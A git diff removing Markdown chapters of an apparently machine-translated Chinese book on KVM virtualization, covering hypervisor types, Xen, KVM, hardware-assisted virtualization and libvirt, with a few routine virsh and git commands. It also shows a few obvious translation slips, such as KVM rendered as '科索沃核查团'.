虚拟机管理器的优势: - -* 易于安装和配置 -* 体积小;经过优化,可将大部分物理资源提供给托管访客(虚拟机) -* 由于只附带运行虚拟机所需的应用,因此产生的开销较少 -* 更安全,因为一个访客系统中的问题不会影响虚拟机管理器上运行的其他访客系统 - -但是,类型 1 虚拟机管理器不支持自定义。 通常,当您尝试在其上安装任何第三方应用或驱动程序时,会有一些限制。 - -另一方面,类型 2 虚拟机管理器驻留在操作系统之上,允许您进行大量定制。 类型 2 管理器是,也称为托管管理器,它们的操作依赖于主机操作系统。 类型 2 虚拟机管理器的主要优势是广泛的硬件支持,因为底层主机操作系统控制硬件访问。 下图说明了第 2 类虚拟机监控程序的设计概念: - -![Figure 1.2 – Type 2 hypervisor design ](img/B14834_01_02.jpg) - -图 1.2-类型 2 虚拟机管理器设计 - -我们什么时候使用第 1 类虚拟机管理器与第 2 类虚拟机管理器? 这主要取决于我们是否已经在要部署虚拟机的服务器上运行操作系统。 例如,如果我们已经在工作站上运行 Linux 桌面,我们可能不会格式化工作站并安装虚拟机管理器-这没有任何意义。 这是类型 2 虚拟机管理器用例的一个很好的例子。 众所周知的第 2 类虚拟机管理器包括 VMware Player、Workstation、Fusion 和 Oracle VirtualBox。 另一方面,如果我们的目标是创建一台要用来托管虚拟机的服务器,那么这就是类型 1 虚拟机管理器的领域。 - -# 开源虚拟化项目 - -下表列出了 Linux 中的开源虚拟化项目: - -![Figure 1.3 – Open source virtualization projects in Linux ](img/B14834_01_03.jpg) - -图 1.3-Linux 中的开源虚拟化项目 - -在接下来的几节中,我们将讨论 Xen 和 KVM,它们是 Linux 中领先的开源虚拟化解决方案。 - -## Xen - -Xen 最初是剑桥大学的一个研究项目。 Xen 的第一次公开发布是在 2003 年。 后来,剑桥大学这个项目的负责人 Ian Pratt 与 Simon Crosby(也来自剑桥大学)共同创立了一家名为 XenSource 的公司。 这家公司开始以开源方式开发该项目。 2013 年 4 月 15 日,Xen 项目作为协作项目被转移到 Linux 基金会。 Linux 基金会推出了 Xen 项目的新商标,以区别于旧 Xen 商标的任何商业使用。 有关这方面的更多详细信息,请参阅[https://xenproject.org/](https://xenproject.org/)。 - -Xen 虚拟机管理器已移植到许多处理器系列,如 Intel IA-32/64、x86_64、PowerPC、ARM、MIPS 等。 - -Xen 的核心概念有四个主要构建块: - -* **Xen 管理器**:Xen 的组成部分,它处理物理硬件和虚拟机之间的相互通信。 它处理所有中断、时间、CPU 和内存请求以及硬件交互。 -* **Dom0**:Xen 的控制域,它控制虚拟机的环境。 它的主要部分被称为 QEMU,这是一款通过执行二进制翻译来模拟 CPU 来模拟常规计算机系统的软件。 -* **管理实用程序**:我们用来管理整个 Xen 环境的命令行实用程序和 GUI 实用程序。 -* **虚拟机**(无特权域,Domu):我们在 Xen 上运行的访客。 - -如下图中的所示,Dom0 是一个完全独立的实体,它控制其他虚拟机,而所有其他虚拟机都可以使用虚拟机管理器提供的系统资源彼此堆叠在一起: - -![Figure 1.4 – Xen ](img/B14834_01_04.jpg) - -图 1.4-Xen - -我们将在本书后面提到的一些管理工具实际上也能够与 Xen 虚拟机一起工作。 例如,可以使用`virsh`命令轻松地连接和管理 Xen 主机。 另一方面,oVirt 是围绕 KVM 虚拟化设计的,这肯定不是管理基于 Xen 的环境的首选解决方案。 - -## KVM - -KVM 代表了最新一代的开源虚拟化。 该项目的目标是创建一个现代虚拟机管理器,它以前几代技术的经验为基础,并利用当今可用的现代硬件(VT-x、AMD-V 等)。 - -当您安装 KVM 内核模块时,KVM 只是简单地将 Linux 内核转变为管理器。 但是,由于标准 Linux 内核是系统管理器,因此它受益于对标准内核所做的更改(内存支持、调度程序等)。 针对这些 Linux 组件的优化,例如 3.1 内核中的调度程序、4.20+内核中对嵌套虚拟化的改进、用于缓解 Spectre 攻击的新功能、对 AMD 安全加密虚拟化的支持、4/5.x 内核中的英特尔 IGPU 直通等,都会让虚拟机管理器(主机操作系统)和 Linux 访客操作系统受益。 对于 I/O 仿真,KVM 使用用户端软件 QEMU;这是一个执行硬件仿真的用户端程序。 - -QEMU 模拟处理器和一长串外围设备(如磁盘、网络、VGA、PCI、USB、串行/并行端口等),以构建可安装访客操作系统的完整虚拟硬件。 此仿真由 KVM 提供支持。 - -# Linux 虚拟化在云中为您提供了什么 - -云是*这个时髦的词*,在过去 10 年左右的时间里,几乎所有与 IT 相关的讨论都是云的一部分。 如果我们回顾一下云的历史,我们可能会意识到这样一个事实:亚马逊是云市场的第一个关键参与者,在 2006 年发布了**Amazon Web Services**(**AWS**)和**Amazon Elastic Compute Cloud**(**EC2**)。 Google 云平台于 2008 年发布,Microsoft Azure 于 2010 年发布。 就**基础设施即服务**(**IaaS**)云模型而言,这些是目前最大的 IaaS 云提供商,尽管还有其他云提供商(IBM 云、AWS 上的 VMware 云、甲骨文云和阿里巴巴云等)。 如果你仔细阅读这个列表,你很快就会意识到这些云平台中的大多数都是基于 Linux 的(举个例子,Amazon 使用 Xen 和 KVM,而 Google Cloud 使用 KVM 虚拟化)。 - -目前,有三个主要的开源云项目使用 Linux 虚拟化为私有云和/或混合云构建 IaaS 解决方案: - -* **OpenStack**:完全开源云操作系统,由几个开源子项目组成,提供创建 IaaS 云的所有构建块。 KVM(Linux 虚拟化)是 OpenStack 部署中使用最多(支持最好)的虚拟机管理器。 它由与供应商无关的 OpenStack 基金会管理。 如何使用 KVM 构建 OpenStack 云将在[*第 12 章*](12.html#_idTextAnchor209),*使用 OpenStack 横向扩展 KVM*中详细说明 -* **CloudStack**此是另一个由**Apache Software Foundation**(**ASF**)控制的开源云项目,用于构建和管理高度可扩展的多租户 IaaS 云,并与 EC2/S3API 完全兼容。 尽管 Xen 支持所有顶级 Linux 虚拟机管理器,但大多数 CloudStack 用户选择 Xen,因为它与 CloudStack 紧密集成。 -* **Eucalyptus**:这是一款与 AWS 兼容的私有云软件,供组织在中使用,以降低其公共云成本并重新控制安全性和性能。 它同时支持 Xen 和 KVM 作为计算资源提供商。 - -在讨论 OpenStack 时,除了我们在本章到目前为止已经讨论的技术细节之外,还有其他重要的问题需要考虑。 当今 IT 中最重要的概念之一是,通过使用能够同时使用不同解决方案的某种管理层,实际上能够运行包含各种类型的解决方案(如虚拟化解决方案)的环境(纯虚拟化环境或云环境)。 让我们以 OpenStack 为例来说明这一点。 如果您通读 OpenStack 文档,您很快就会发现 OpenStack 支持 10 多种不同的虚拟化解决方案,包括: - -* 科索沃核查团 -* Xen(通过 libvirt) -* LXC(Linux 容器) -* Microsoft Hyper-V -* VMware ESXi -* CitrixXenServer -* **用户模式 Linux**(**UML**) -* PowerVM(IBM Power 5-9 平台) -* Virtuozzo(可以使用虚拟机、存储和容器的超融合解决方案) -* Z/VM(针对 IBM Z 和 IBM LinuxONE 服务器的虚拟化解决方案) - -这为我们带来了多云环境,这些环境可以跨越不同的 CPU 架构、不同的虚拟机管理器以及虚拟机管理器等其他技术-所有这些都在相同的管理工具集下。 这只是使用 OpenStack 可以做的一件事。 我们将在本书后面回到 OpenStack 的主题,特别是在[*第 12 章*](12.html#_idTextAnchor209),*使用 OpenStack 横向扩展 KVM*中。 - -# 摘要 - -在本章中,我们介绍了虚拟化的基础知识及其不同类型。 牢记虚拟化在当今大规模 IT 世界中的重要性是有益的,因为了解如何将这些概念联系在一起以创建更大的图景-大型虚拟化环境和云环境是一件好事。 基于云的技术将在稍后更详细地介绍--把我们到目前为止提到的当作一个入门级内容来对待;主菜还在后面。 但下一章属于我们这本书的主星-KVM 虚拟机管理器及其相关实用程序。 - -# 问题 - -1. 存在哪些类型的虚拟机管理器? -2. 什么是集装箱? -3. 什么是基于容器的虚拟化? -4. 什么是 OpenStack? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* 什么是 kvm?:[https://www.redhat.com/en/topics/virtualization/what-is-KVM](https://www.redhat.com/en/topics/virtualization/what-is-KVM) -* KVM 虚拟机管理器:[https://www.linux-kvm.org/page/Main_Page](https://www.linux-kvm.org/page/Main_Page) -* OpenStack 平台:[HTTPS://www.openstack.org](https://www.openstack.org) -* XEN 项目:[https://xenproject.org/](https://xenproject.org/) \ No newline at end of file diff --git a/docs/master-kvm-virtual/02.md b/docs/master-kvm-virtual/02.md deleted file mode 100644 index a5c20c43..00000000 --- a/docs/master-kvm-virtual/02.md +++ /dev/null @@ -1,968 +0,0 @@ -# 二、将 KVM 作为虚拟化解决方案 - -在本章中,我们将讨论虚拟化的概念及其通过 libvirt、**Quick Emulator**(**QEMU**)和 KVM 实现。 实际上,如果我们想要解释虚拟化是如何工作的,以及为什么 KVM 虚拟化是 21 世纪 IT 的重要组成部分,我们必须从解释多核 CPU 和虚拟化的技术背景开始;如果不深入研究 CPU 和操作系统的理论,我们就不可能做到这一点,这样我们才能了解我们真正想要的是什么-虚拟机管理器是什么,以及虚拟化实际是如何工作的。 - -在本章中,我们将介绍以下主题: - -* 虚拟化作为一个概念 -* Libvirt、qemu 和 KVM 的内部工作方式 -* 所有这些如何相互通信以提供虚拟化 - -# 虚拟化作为一个概念 - -虚拟化是一种将硬件与软件解耦的计算方法。 它为各种工作负载之间的资源拆分和共享提供了一种更好、更高效和更程序化的方法,这些工作负载包括运行操作系统的虚拟机以及运行在其上的应用。 - -如果我们将过去的传统物理计算与虚拟化进行比较,我们可以说,通过虚拟化,我们可以在同一硬件(同一物理服务器)上运行多个访客操作系统(多个虚拟服务器)。 如果我们使用的是类型 1 虚拟机管理器(请参见[*第 1 章*](01.html#_idTextAnchor016),*了解 Linux 虚拟化*),这意味着虚拟机管理器将负责让虚拟服务器访问物理硬件。 这是因为有多个虚拟服务器使用与同一物理服务器上的其他虚拟服务器相同的硬件。 这通常由某种调度算法支持,该调度算法在虚拟机管理器中以编程方式实现,以便我们可以从同一物理服务器获得更高的效率。 - -## 虚拟环境与物理环境 - -让我们尝试可视化这两种方法-物理方法和虚拟方法。 在物理服务器中,我们正在服务器硬件上安装操作系统,并在该操作系统上运行应用。 下图显示了此方法的工作原理: - -![Figure 2.1 – Physical server ](img/B14834_02_01.jpg) - -图 2.1-物理服务器 - -在虚拟化世界中,我们运行的是虚拟机管理器(如 KVM),虚拟机位于该虚拟机管理器之上。 在这些虚拟机中,我们运行相同的操作系统和应用,就像在物理服务器中一样。 虚拟化方法如下图所示: - -![Figure 2.2 – Hypervisor and two virtual machines ](img/B14834_02_02.jpg) - -图 2.2-虚拟机管理器和两台虚拟机 - -在各种情况下,仍然需要物理方法。 例如,世界各地的物理服务器上仍有数千个应用,因为这些服务器*不能*虚拟化。 *它们不能虚拟化有不同的原因。 例如,最常见的原因实际上是最简单的原因--可能这些应用运行的操作系统不在虚拟化软件供应商支持的操作系统列表上。 这可能意味着您不能虚拟化操作系统/应用组合,因为该操作系统不支持某些虚拟化硬件,通常是网络或存储适配器。 同样的一般概念也适用于云--正如我们将在本书后面描述的那样,将东西移到云上并不总是最好的想法。* - - *## 为什么虚拟化如此重要? - -我们现在运行的许多应用不能很好地扩展(添加更多的 CPU、内存或其他资源)-它们只是没有以这种方式编程,或者不能真正并行化。 这意味着,如果应用不能使用其可支配的所有资源,服务器将有大量的*空闲空间*-这一次,我们不是在谈论磁盘空闲空间;我们实际上指的是*计算*空闲空间,即 CPU 和内存级别的空闲空间。 这意味着我们没有充分利用我们付费购买的服务器的功能--目的是让它得到充分利用,而不是部分利用。 - -效率和程序化方法如此重要还有其他原因。 事实是,除了 2003-2005 年间关于 CPU 频率吹嘘的权利(*等于*CPU 速度)的新闻发布战之外,英特尔和 AMD 在*单核*CPU 的概念开发方面遇到了障碍。 在不严重影响 CPU 供电方式的情况下,它们无法在 CPU 上塞入同样多的附加元素(无论是用于执行还是高速缓存)和/或提高单核的速度。 这意味着,最终,这种方法会损害 CPU 及其运行的整个系统的可靠性。 如果你想了解更多,我们建议你去查找关于英特尔的 NetBurst 架构 CPU(例如,Prescott 内核)和他们的弟弟奔腾 D(Smithfield 内核)的文章,奔腾 D(Smithfield 内核)基本上是两个 Prescott 内核粘合在一起,所以最终结果是一个双核 CPU。 A*非常非常热的*双核 CPU。 - -在此之前的几代人中,英特尔和 AMD 根据*让每个系统有多个执行单元*原则尝试和测试了其他技术。 例如,我们有英特尔奔腾 Pro 双插槽系统以及 AMD 皓龙双插槽和四插槽系统。 当我们开始讨论虚拟化的一些非常重要的方面时(例如,**非统一内存访问**(**NUMA**)),我们将在本书的后面部分回到这些方面。 - -因此,无论从哪个角度来看,当 PC CPU 在 2005 年开始拥有多核处理器时(AMD 率先推出服务器多核 CPU,英特尔率先推出台式机多核 CPU),这是前进的唯一理性之路。 这些核心更小,效率更高(耗电量更少),通常是更好的长期方法。 当然,这意味着如果微软和甲骨文等公司想要使用他们的应用并获得多核服务器的好处,就必须对操作系统和应用进行大量修改。 - -总而言之,对于基于 PC 的服务器,从 CPU 的角度来看,切换到多核 CPU 是开始致力于虚拟化的好时机,因为虚拟化是我们今天所了解和喜爱的概念。 - -在进行这些开发的同时,CPU 还增加了其他功能-例如,可以处理特定类型操作的额外 CPU 寄存器。 很多人听说过 MMX、SSE、SSE2、SSE3、SSE4.x、AVX、AVX2、AES 等指令集。 这些在今天都非常重要,因为它们给了我们*卸载*特定指令类型到特定 CPU 寄存器的可能性。 这意味着这些指令不必像通用串行设备那样在 CPU 上运行,这样执行这些任务的速度会更慢。 相反,可以将这些指令发送到专门用于这些指令的特定 CPU 寄存器。 可以把它想象成在 CPU 芯片上有单独的迷你加速器,可以运行软件堆栈的某些部分,而不会占用一般的 CPU 流水线。 其中一项新增功能是针对英特尔的**虚拟机扩展**(**VMX**),或**AMD 虚拟化**(**AMD-V**),这两者都使我们能够为各自的平台提供基于硬件的全面虚拟化支持。 - -## 虚拟化的硬件要求 - -在 PC 上引入基于软件的虚拟化之后,在硬件和软件方面都取得了很大的发展。 正如我们在上一章中提到的,最终的结果是 CPU 拥有更多的功能和更强大的功能。 这导致了对硬件辅助虚拟化的大力推动,从纸面上看,这似乎是一条更快、更先进的道路。 举个例子,在 2003-2006 年的时间框架内,有一大堆 CPU 不支持硬件辅助虚拟化,比如 Intel Pentium 4、Pentium D、最初的 AMD Athlons、Turion、Durons 等等。 直到 2006 年,英特尔和 AMD 才将硬件辅助虚拟化作为一种功能,在各自的 CPU 上得到了更广泛的应用。 此外,拥有 64 位 CPU 需要一些时间,而且在 32 位体系结构上运行硬件辅助虚拟化几乎没有兴趣。 出现这种情况的主要原因是,您分配的内存不能超过 4 GB,这严重限制了将虚拟化作为概念使用的范围。 - -记住所有这些,以下是我们现在必须遵守的要求,这样我们才能运行具有完全硬件辅助虚拟化支持的现代虚拟机管理器: - -* **二级地址转换、快速虚拟化索引、扩展页表(SLAT/RVI/EPT)支持**:这是虚拟机管理器使用的 CPU 技术,因此它可以拥有虚拟到物理内存地址的映射。 虚拟机在可以分散在物理内存上的虚拟内存空间中运行,因此通过使用额外的映射,如 SLAT/EPT(通过额外的**转换后备缓冲器**或**TLB**实现),您可以减少内存访问的延迟。 如果我们没有这样的技术,我们将不得不通过物理内存访问计算机内存的物理地址,这将是混乱、不安全和容易延迟的。 为避免混淆,EPT 是英特尔在其 CPU 中使用 SLAT 技术的名称(AMD 使用 RVI 术语,而英特尔使用 EPT 术语)。 -* **英特尔 VT 或 AMD-V 支持**:如果英特尔 CPU 具有 VT(或 AMD CPU 具有 AMD-V),则意味着它支持硬件虚拟化扩展和完全虚拟化。 -* **长模式支持**,这意味着 CPU 支持 64 位。 如果没有 64 位架构,虚拟化基本上毫无用处,因为您只有 4 GB 内存可以提供给虚拟机(这是 32 位架构的限制)。 通过使用 64 位架构,我们可以分配更多的内存(取决于我们使用的 CPU),这意味着有更多的机会向虚拟机提供内存,如果没有内存,整个虚拟化概念在 21 世纪的 IT 领域就没有任何意义。 -* **实现输入/输出内存管理单元(IOMMU)虚拟化的可能性(如 AMD-Vi、Intel VT-d 和 ARM 上的 Stage 2 表)**,这意味着我们允许虚拟机直接访问外围硬件(显卡卡、存储控制器、网络设备等)。 必须在 CPU 和主板芯片组/固件端启用此功能。 -* **执行****单根输入输出虚拟化**(**SR/IOV**)的可能性,这允许我们将一个 PCI Express 设备(例如,以太网端口)直接转发到多个虚拟机。 SR-IOV 的关键方面是它能够通过称为**虚拟功能**(**VFS**)的功能与多个虚拟机共享一个物理设备。 此功能需要硬件和驱动程序支持。 -* **可以进行 PCI Passthrough**,这意味着我们可以将连接到服务器主板的 PCI Express 连接卡(例如,视频卡)呈现给虚拟机,就像该卡通过称为**Physical Functions**(**PFS**)的功能直接连接到虚拟机一样。 这意味着绕过连接通常通过的各种虚拟机管理器级别。 -* **可信平台模块(TPM)支持**,通常作为附加的主板芯片实现。 使用 TPM 在安全性方面有很多优势,因为它可用于提供加密支持(即创建、保存和保护密钥的使用)。 在 Linux 世界中,TPM 与 KVM 虚拟化的使用引起了相当多的议论,这导致英特尔在 2018 年夏天开源了 TPM2 堆栈。 - -当讨论 SR-IOV 和 PCI 通过时,请确保您注意到称为 PF 和 VF 的核心功能。 这两个关键字将更容易记住*在哪里*(在物理或虚拟级别上)和*如何(直接或通过虚拟机管理器)将*设备转发到它们各自的虚拟机。 这些功能对于企业空间和相当多的特定场景非常重要。 仅举个例子,如果没有这些功能,就不可能有一个带有工作站级虚拟机的**虚拟桌面基础架构**(**VDI**)解决方案,您可以使用它来运行 AutoCAD 和类似的应用。 这是因为 CPU 上的集成显卡速度太慢,无法正常运行。 这就是开始向服务器添加 GPU 的时候-这样您就可以使用虚拟机管理器将*整个*GPU 或*部分*转发到一个或多个虚拟机。 - -在系统内存方面,还需要考虑各种问题。 AMD 在 Athlon 64 中开始将内存控制器集成到 CPU 中,这比英特尔早了几年(英特尔在 2008 年推出的 Nehalem CPU 内核中率先做到了这一点)。 将内存控制器集成到 CPU 中意味着,当 CPU 访问内存进行内存 I/O 操作时,您的系统延迟更短。 在此之前,内存控制器被集成到所谓的北桥芯片中,这是系统主板上的一个独立芯片,负责所有快速总线和内存。 但这意味着额外的延迟,特别是当您试图将这一原则扩展到多插槽、多核 CPU 时。 此外,随着 Socket 939 上 Athlon 64 的推出,AMD 转向了双通道内存架构,这现在是台式机和服务器市场上熟悉的主题。 三通道和四通道内存控制器是服务器的事实标准。 一些最新的 Intel Xeon CPU 支持六通道内存控制器,AMD EPYC CPU 也支持八通道内存控制器。 这会对整体内存带宽和延迟产生巨大影响,进而又会对物理和虚拟服务器上的内存敏感型应用的速度产生巨大影响。 - -为什么这很重要? 通道越多,延迟越低,从 CPU 到内存的带宽就越大。 对于当今 IT 领域(例如数据库)中的许多工作负载来说,这是非常非常理想的。 - -## 虚拟化的软件要求 - -既然我们已经介绍了虚拟化的基本硬件方面,让我们继续讨论虚拟化的软件方面。 要做到这一点,我们必须涵盖一些计算机科学的行话。 这就是说,让我们从一种叫做保护环的东西开始。 在计算机科学中,存在各种分级保护域/特权环。 这些机制基于访问计算机系统中的资源时实施的安全性来保护数据或故障。 这些保护域有助于计算机系统的安全。 通过将这些保护环想象为指令区,我们可以通过下图来表示它们: - -![Figure 2.3 – Protection rings (source: https://en.wikipedia.org/wiki/Protection_ring) ](img/B14834_02_03.jpg) - -图 2.3-保护环(来源:[https://en.wikipedia.org/wiki/Protection_ring](https://en.wikipedia.org/wiki/Protection_ring)) - -如上图所示,保护环按从最高权限到最低权限的顺序编号。 环 0 是具有最高权限的级别,它直接与物理硬件交互,例如 CPU 和内存。 资源(如内存、I/O 端口和 CPU 指令)通过这些特权环受到保护。 环 1 和环 2 大多未使用。 大多数通用系统只使用两个环,即使它们运行的硬件提供比这更多的 CPU 模式。 两种主要的 CPU 模式是内核模式和用户模式,这两种模式也与进程的执行方式有关。 您可以通过以下链接了解更多信息:[https://access.redhat.com/sites/default/files/attachments/processstates_20120831.pdf](https://access.redhat.com/sites/default/files/attachments/processstates_20120831.pdf)。 从操作系统的角度来看,环 0 称为内核模式/管理器模式,环 3 称为用户模式。 正如您可能已经假设的那样,应用在环 3 中运行。 - -Linux 和 Windows 等操作系统使用管理器/内核和用户模式。 由于对内存、CPU 和 I/O 端口的访问受限,此模式在不调用内核或没有内核帮助的情况下几乎不能对外部世界执行任何操作。 内核可以在特权模式下运行,这意味着它们可以在环 0 上运行。 要执行专门的功能,用户模式代码(在环 3 中运行的所有应用)必须执行对管理器模式甚至内核空间的系统调用,其中操作系统的可信代码将执行所需的任务,并将执行返回到用户空间。 简而言之,操作系统在正常环境中以环 0 运行。 它需要最高特权级别来执行资源管理并提供对硬件的访问。 下图说明了这一点: - -![Figure 2.4 – System call to supervisor mode ](img/B14834_02_04.jpg) - -图 2.4-系统调用至管理器模式 - -0 以上的环在称为无保护的处理器模式下运行指令。 管理器/**虚拟机监视器**(**VMM**)需要访问主机的内存、CPU 和 I/O 设备。 由于只允许在环 0 中运行的代码执行这些操作,因此它需要在特权最高的环(即环 0)中运行,并且必须放在内核旁边。 如果没有特定的硬件虚拟化支持,管理器或 VMM 将在环 0 中运行;这基本上会阻止虚拟机的操作系统在环 0 中运行。 因此,虚拟机的操作系统必须驻留在环 1 中。安装在虚拟机上的操作系统也应该访问所有资源,因为它不知道虚拟化层;要实现这一点,它必须运行在环 0 中,这与 VMM 类似。 由于一次只能有一个内核在环 0 中运行,访客操作系统必须以较少的权限在另一个环中运行,或者必须修改才能在用户模式下运行。 - -这导致了我们前面提到的两种称为完全虚拟化和半虚拟化的虚拟化方法的引入。 现在,让我们试着用更专业的方式来解释它们。 - -### 完全虚拟化 - -在完全虚拟化中,特权指令被仿真以克服在环 1 中运行的客户操作系统和在环 0 中运行的 VMM 所产生的限制。 在第一代 x86 虚拟机中实施了完全虚拟化。 它依靠二进制翻译等技术来捕获和虚拟化某些敏感且不可虚拟化指令的执行。 也就是说,在二进制翻译中,一些系统调用被解释并动态重写。 下图描述了客户操作系统如何通过环 1 访问主机硬件以获取特权指令,以及非特权指令是如何在没有环 1 参与的情况下执行的: - -![Figure 2.5 – Binary translation ](img/B14834_02_05.jpg) - -图 2.5-二进制转换 - -使用这种方法,关键指令被发现(在运行时静态或动态地),并替换为 VMM 中的陷阱,这些陷阱将在软件中仿真。 与在本地虚拟化架构上运行的虚拟机相比,二进制转换可能会带来很大的性能开销。 这可以在下图中看到: - -![Figure 2.6 – Full virtualization ](img/B14834_02_06.jpg) - -图 2.6-完全虚拟化 - -然而,如上图所示,当我们使用完全虚拟化时,我们可以使用未经修改的访客操作系统。 这意味着我们不必更改客户内核,使其在 VMM 上运行。 当客户内核执行特权操作时,VMM 提供 CPU 仿真来处理和修改受保护的 CPU 操作。 但是,正如我们前面提到的,与另一种虚拟化模式(称为半虚拟化)相比,这会导致性能开销。 - -### 半虚拟化 - -在半虚拟化中,需要修改访客操作系统以允许这些指令访问环 0。 换句话说,需要修改操作系统以通过*后端*(超级调用)路径在 VMM/虚拟机管理器和访客之间通信: - -![Figure 2.7 – Paravirtualization ](img/B14834_02_07.jpg) - -图 2.7-半虚拟化 - -半虚拟化([API](https://en.wikipedia.org/wiki/Paravirtualization))是一种技术,其中虚拟机管理器提供一个 https://en.wikipedia.org/wiki/Paravirtualization,访客虚拟机的 OS 调用该 API,这需要修改主机 OS。 特权指令调用与 VMM 提供的 API 函数交换。 在这种情况下,修改后的客户操作系统可以在环 0 中运行。 - -如您所见,在此技术下,客户内核被修改为在 VMM 上运行。 换句话说,客户内核知道它已经虚拟化了。 本应在环 0 中运行的特权指令/操作已被称为超级调用的调用所取代,该调用与 VMM 对话。 这些超级调用调用 VMM,以便它代表客户内核执行任务。 由于客户内核可以通过超级调用直接与 VMM 通信,因此与完全虚拟化相比,此技术可带来更高的性能。 但是,这需要一个专门的客户内核,该内核能够感知半虚拟化,并附带所需的软件支持。 - -半虚拟化和完全虚拟化的概念曾经是一种常见的虚拟化方式,但不是以最好的、可管理的方式。 这就是硬件辅助虚拟化发挥作用的地方,正如我们将在下一节中描述的那样。 - -### 硬件辅助虚拟化 - -英特尔和 AMD 意识到,由于设计和维护解决方案的性能开销和复杂性,完全虚拟化和半虚拟化是 x86 架构上虚拟化的主要挑战(由于本书的范围仅限于 x86 架构,我们将在此处主要讨论该架构的演变)。 英特尔和 AMD 独立开发了 x86 架构的新处理器扩展,分别称为 Intel VT-x 和 AMD-V。 在 Itanium 架构上,硬件辅助虚拟化称为 VT-I。 硬件辅助虚拟化是一种平台虚拟化方法,旨在通过硬件功能高效地使用完全虚拟化。 不同的供应商对这项技术有不同的称呼,包括加速虚拟化、硬件虚拟机和本机虚拟化。 - -为了更好地支持虚拟化,英特尔和 AMD 分别引入了**虚拟化技术**(**VT**)和**安全虚拟机**(**SVM**)作为 IA-32 指令集的扩展。 这些扩展允许 VMM/系统管理器运行客户操作系统,该客户操作系统期望在内核模式下、在较低特权环中运行。 硬件辅助的虚拟化不仅提出了新的指令,还引入了一个新的特权访问级别,称为环-1,虚拟机管理器/VMM 可以在这里运行。 因此,客户虚拟机可以在环 0 中运行。 借助硬件辅助的虚拟化,操作系统无需任何仿真或操作系统修改即可直接访问资源。 虚拟机管理器或 VMM 现在可以在新引入的特权级别(环-1)下运行,客户操作系统在环 0 上运行。 此外,与上述其他技术相比,借助硬件辅助虚拟化,VMM/虚拟机管理器更加轻松,需要执行的工作更少,从而降低了性能开销。 这种直接在环-1 中运行的能力可以用下图描述: - -![Figure 2.8 – Hardware-assisted virtualization ](img/B14834_02_08.jpg) - -图 2.8-硬件辅助虚拟化 - -简而言之,这种支持虚拟化的硬件为我们提供了构建 VMM 的支持,并确保了客户操作系统的隔离。 这有助于我们实现更好的性能,并避免设计虚拟化解决方案的复杂性。 现代虚拟化技术使利用此功能来提供虚拟化。 KVM 就是一个例子,我们将在本书中详细讨论这一问题。 - -现在我们已经讨论了虚拟化的硬件和软件方面,让我们看看所有这些都如何应用于作为虚拟化技术的 KVM。 - -# libvirt、qemu 和 kvm 的内部工作原理 - -Libvirt、QEMU 和 KVM 之间的交互为我们提供了本书中介绍的全部虚拟化功能。 它们是 Linux 虚拟化难题中最重要的一块,因为每一块都有自己的角色。 让我们来描述一下他们做什么,以及他们是如何相互作用的。 - -## libvirt - -在使用 kvm 时,您最有可能首先使用它的主**应用编程接口**(**API**),称为 libvirt([https://libvirt.org](https://libvirt.org))。 但是 libvirt 还有其他功能--它是也是一个守护进程和一个用于不同管理器的管理工具,其中一些我们在前面提到过。 用于与 libvirt 交互的最常用工具之一是,称为 virt-manager([Gnome](http://virt-manager.org)),这是一个基于 http://virt-manager.org 的图形实用程序,您可以使用它来管理本地和远程管理器的各个方面(如果您愿意的话)。 Libvirt 的 CLI 实用程序称为`virsh`。 请记住,您可以通过 libvirt 管理远程虚拟机监控程序,因此您不仅限于本地虚拟机监控程序。 这就是为什么 virt-manager 有一个名为`--connect`的附加参数。 Libvirt 也是其他各种 kvm 管理工具的一部分,比如 oVirt([http://www.ovirt.org](http://www.ovirt.org)),我们将在下一章讨论这些工具。 - -Libvirt 库的目标是为管理运行在虚拟机管理器上的虚拟机提供一个通用且稳定的层。 简而言之,作为管理层,它负责提供执行虚拟机配置、创建、修改、监视、控制、迁移等管理任务的 API。 在 Linux 中,您会注意到一些进程是守护进程。 Libvirt 进程也是守护进程,它被称为`libvirtd`。 与使用任何其他守护进程一样,`libvirtd`根据请求向其客户端提供服务。 让我们尝试理解当 libvirt 客户端(如`virsh`或 virt-manager)从`libvirtd`请求服务时究竟发生了什么。 根据客户机传递的连接 URI(在下一节中讨论),`libvirtd`打开到管理器的连接。 这是 ho,客户端的`virsh`或 virt 管理器要求`libvirtd`开始与虚拟机管理器对话。 在本书的范围内,我们的目标是了解 KVM 虚拟化技术。 因此,最好从 QEMU/KVM 虚拟机管理器的角度来考虑它,而不是讨论来自`libvirtd`的其他一些虚拟机管理器通信。 当您看到 QEMU/KVM 而不是 QEMU 或 KVM 作为底层管理器名称时,您可能会感到有点困惑。 但别担心--一切都会在适当的时候变得明朗。 QEMU 和 KVM 之间的连接将在接下来的章节中讨论。 现在,只需知道有一个同时使用 QEMU 和 KVM 技术的虚拟机管理器。 - -### 通过 virsh 连接到远程系统 - -下面是远程连接的`virsh`二进制文件的一个简单的命令行示例: - -```sh -virsh --connect qemu+ssh://root@remoteserver.yourdomain.com/system list ––all -``` - -现在让我们来看一下源代码。 我们可以从 libvirt Git 存储库获得 libvirt 源代码: - -```sh -[root@kvmsource]# yum -y install git-core -[root@kvmsource]# git clone git://libvirt.org/libvirt.git -``` - -克隆存储库后,您可以在存储库中看到以下文件层次结构: - -![Figure 2.9 – QEMU source content, downloaded via Git ](img/B14834_02_09.jpg) - -图 2.9-QEMU 源内容,通过 Git 下载 - -Libvirt 代码基于 C 编程语言;但是,libvirt 具有不同语言的语言绑定,如`C#`、`Java`、`OCaml`、`Perl`、`PHP`、`Python`、`Ruby`等。 有关这些绑定的更多详细信息,请参考[https://libvirt.org/bindings.html](https://libvirt.org/bindings.html)。 源代码中的主要(和少数)目录是`docs`、`daemon`、`src`等。 Libvirt 项目有很好的文档记录,文档可以在源代码资源库和[http://libvirt.org](http://libvirt.org)中找到。 - -Libvirt 使用基于*驱动程序的体系结构*,使 libvirt 能够与各种外部管理器通信。 这意味着 libvirt 具有用于与其他虚拟机管理器和解决方案(如 LXC、Xen、QEMU、VirtualBox、Microsoft Hyper-V、bhyve(BSD 虚拟机管理器)、IBM PowerVM、OpenVZ(开放式 Virtuozzo 基于容器的解决方案)等)交互的内部驱动程序,如下图所示: - -![Figure 2.10 – Driver-based architecture ](img/B14834_02_10.jpg) - -图 2.10-基于驱动程序的体系结构 - -连接到各种虚拟化解决方案的能力让我们从`virsh`命令中获得了更多的可用性。 这在混合环境中可能非常有用,例如,如果您从同一系统同时连接到 KVM 和 Xen 虚拟机管理器。 - -与上图一样,有一个向外界公开的**公共 API**。 